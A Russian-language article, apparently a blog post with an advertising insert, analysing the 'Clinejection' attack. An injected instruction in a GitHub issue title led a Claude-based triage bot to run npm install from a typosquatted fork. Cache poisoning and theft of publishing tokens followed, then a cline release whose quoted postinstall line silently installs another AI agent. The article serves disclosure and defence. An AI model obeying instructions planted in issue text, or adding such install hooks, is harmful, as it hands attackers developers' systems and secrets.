
17 февраля 2026 года в репозитории npm была опубликована версия cline@2.3.0. С виду – ничего особенного: исполняемый файл был идентичен предыдущему байт в байт. Лишь в файле package.json притаилась одна лишняя строчка:
"postinstall": "npm install -g openclaw@latest"
В течение следующих восьми часов каждый разработчик, решивший установить или обновить Cline, невольно устанавливал OpenClaw. Это отдельный ИИ-агент с полным доступом к системе, который устанавливался глобально и без какого-либо спроса. Пакет успели скачать около 4000 раз, прежде чем его удалили из общего доступа.
Но самое поразительное здесь не сама начинка вредоноса. Весь фокус в том, как именно злоумышленник раздобыл npm-токен – ключ от всех дверей. Оказалось, он просто спрятал инструкцию (промпт) прямо в заголовке тикета на GitHub. Бот, занимавшийся сортировкой заявок, прочитал этот заголовок, принял его за приказ и послушно исполнил.
Ускоряйте рутинные задач вместе с BotHub! Для доступа не нужен VPN. По ссылке вы получите 300 000 бесплатных токенов, чтобы перейти к работе с нейросетями прямо сейчас!

Анатомия катастрофы
Атака, которую в Snyk называют “Clinejection”, объединяет пять известных уязвимостей в одну цепочку. Чтобы запустить эту лавину, не потребовалось ничего, кроме создания задачи на GitHub.
Шаг 1: инъекция через заголовок. Разработчики Cline внедрили ИИ-помощника на базе claude-code-action от Anthropic для автоматической обработки тикетов. Настройки системы были, мягко говоря, чересчур доверчивыми: параметр allowed_non_write_users был выставлен в значение *. Это значило, что любой прохожий мог активировать бота, просто создав тикет. Заголовок задачи подставлялся в промпт для нейросети Claude напрямую, без какой-либо очистки или проверки.
28 января злоумышленник создал задачу под номером #8904. Заголовок выглядел как обычный отчет о проблемах с производительностью, но внутри была зашита команда: установить пакет из конкретного стороннего репозитория.
Шаг 2: бот пускается во все тяжкие. Claude воспринял внедренную инструкцию как законное требование и запустил команду npm install, указывающую на форк хакера. Хакер прибег к тайпсквоттингу – его репозиторий назывался glthub-actions/cline (заметьте: в слове github изменена буква i). В файле package.json этого форка был прописан скрипт, который скачивал и запускал из сети командный файл.
Шаг 3: отрава в кеше. Этот файл развернул Cacheract – инструмент для отравления кеша в GitHub Actions. Он буквально затопил хранилище десятью гигабайтами цифрового мусора. Из-за политики вытеснения данных (LRU) GitHub начал удалять старые, легитимные записи, чтобы освободить место. На их место хакер подсунул свои, вредоносные данные, замаскированные под шаблоны ключей кеша, которые Cline использовал для ночных сборок.
Шаг 4: кража ключей. Когда запустился рабочий процесс ночной сборки, он восстановил папку node_modules из этого самого отравленного кеша. Вместе с библиотеками проект подхватил заразу. Поскольку процесс сборки имел доступ к важным секретам – NPM_RELEASE_TOKEN (токен публикации в npm), VSCE_PAT (для маркетплейса VS Code) и OVSX_PAT (для OpenVSX), – все три ключа были немедленно украдены и отправлены на сервер взломщика.
Шаг 5: ядовитая публикация. Воспользовавшись украденным npm-токеном, хакер выпустил cline@2.3.0 с “сюрпризом” в виде OpenClaw в скрипте установки. Зараженная версия провисела восемь часов. Автоматика StepSecurity забила тревогу спустя 14 минут после публикации, но заразу заметили и устранили не сразу.
Работа над ошибками, которая пошла не так
По иронии судьбы, об этой дыре в безопасности знали заранее. Исследователь Аднан Хан обнаружил всю цепочку уязвимостей еще в конце декабря 2025 года. 1 января он сообщил об этом через официальный канал GitHub Security Advisory и в течение пяти недель отправлял напоминания. Ему никто не ответил.
Когда Хан 9 февраля предал историю огласке, команда Cline среагировала мгновенно: вредоносный ИИ-процесс удалили за полчаса. На следующий день начали менять ключи.
Но и тут не обошлось без промашек. Из-за неразберихи разработчики удалили не тот токен, оставив скомпрометированный в рабочем состоянии. Ошибку осознали только 11 февраля и провели повторную ротацию. Увы, к тому моменту хакер уже успел выкрасть данные. Токен npm оставался действительным достаточно долго, чтобы спустя шесть дней злоумышленник смог опубликовать вредоносный пакет.
Важно уточнить: Аднан Хан не был взломщиком. Неизвестный злоумышленник просто нашел в его тестовом репозитории пример кода (PoC), подтверждающий возможность взлома, и превратил его в настоящее оружие против Cline.
Новый виток
Сама по себе эта цепочка уязвимостей хоть и изящна, но неуникальна. Инъекции промптов, отравление кеша и кража учетных данных – старые знакомые в мире кибербезопасности. Особенной атаку Clinejection делает результат: один ИИ-инструмент незаметно подсаживает второго ИИ-агента на компьютер разработчика.
Это порождает проблему рекурсии в цепочке поставок. Разработчик доверяет Инструменту А (Cline). Тот оказывается взломан и устанавливает Инструмент Б (OpenClaw). У этого второго агента – свои возможности: он может выполнять команды в консоли, обращаться к паролям, прописываться в системе для автозапуска. При этом пользователь, доверяя первому инструменту, об этих талантах второго даже не догадывается.
Установленный таким образом OpenClaw мог воровать пароли из ~/.openclaw/, выполнять команды через свой API и “оживать” после каждой перезагрузки системы. В сообществе еще спорят о том, был ли этот код по-настоящему ��пасен, – эксперты из Endor Labs, например, сочли его скорее демонстрацией силы, чем боевым вирусом. Но важен сам механизм.
Перед нами классическая проблема “запутавшегося делегата” (confused deputy): разработчик дает полномочия Cline действовать от своего имени, а Cline (вследствие взлома) передает эти полномочия совершенно постороннему агенту, которого разработчик не проверял и на установку которого не давал согласия.
Почему стандартная защита оказалась бессильна?
npm audit. Проверка не нашла ничего подозрительного. Скрипт postinstall устанавливает вполне легитимный пакет OpenClaw. В нем нет вредоносного кода в привычном понимании.
Код-ревью. Исполняемый файл не изменился ни на йоту. В package.json добавилась одна-единственная строка. Инструменты, которые ищут изменения в бинарных данных, просто пропустили бы это.
Подтверждение подлинности (Provenances). На тот момент Cline не использовал современную систему аттестации npm на базе OIDC. Украденный токен позволял публиковать пакеты без метаданных о происхождении, что выглядело аномально, но не блокировалось системой.
Запросы разрешений. Установка происходит в фоновом режиме в процессе npm install. Ни один ИИ-инструмент для кодинга не спрашивает пользователя: “А можно я сейчас запущу вон тот жизненно важный скрипт зависимости?” Всё происходит в полной тишине.
Атака мастерски использовала разрыв между тем, что разработчик думает, будто он устанавливает (конкретную версию Cline), и тем, что исполняется на самом деле (любые скрипты из пакета и всех его зависимостей).
Что изменилось после Clinejection
В своем официальном отчете о происшествии команда Cline перечислила меры, предпринятые для исправления ситуации:
Полностью отказались от использования кеша в GitHub Actions для процессов, работающих с секретными данными.
Перешли на публикацию в npm с использованием аттестаций OIDC, что позволило избавиться от долгоживущих токенов.
Ввели жесткие правила проверки при ротации ключей.
Начали работу над четким регламентом раскрытия уязвимостей (VDP) с жестко заданными сроками ответа.
Заказали внешний аудит безопасности всей инфраструктуры CI/CD.
Это серьезные шаги. Один лишь переход на OIDC мог бы остановить атаку в зачатке: даже имея токен, хакер не смог бы опубликовать пакет, так как система требовала бы криптографического подтверждения от конкретного рабочего процесса в GitHub.
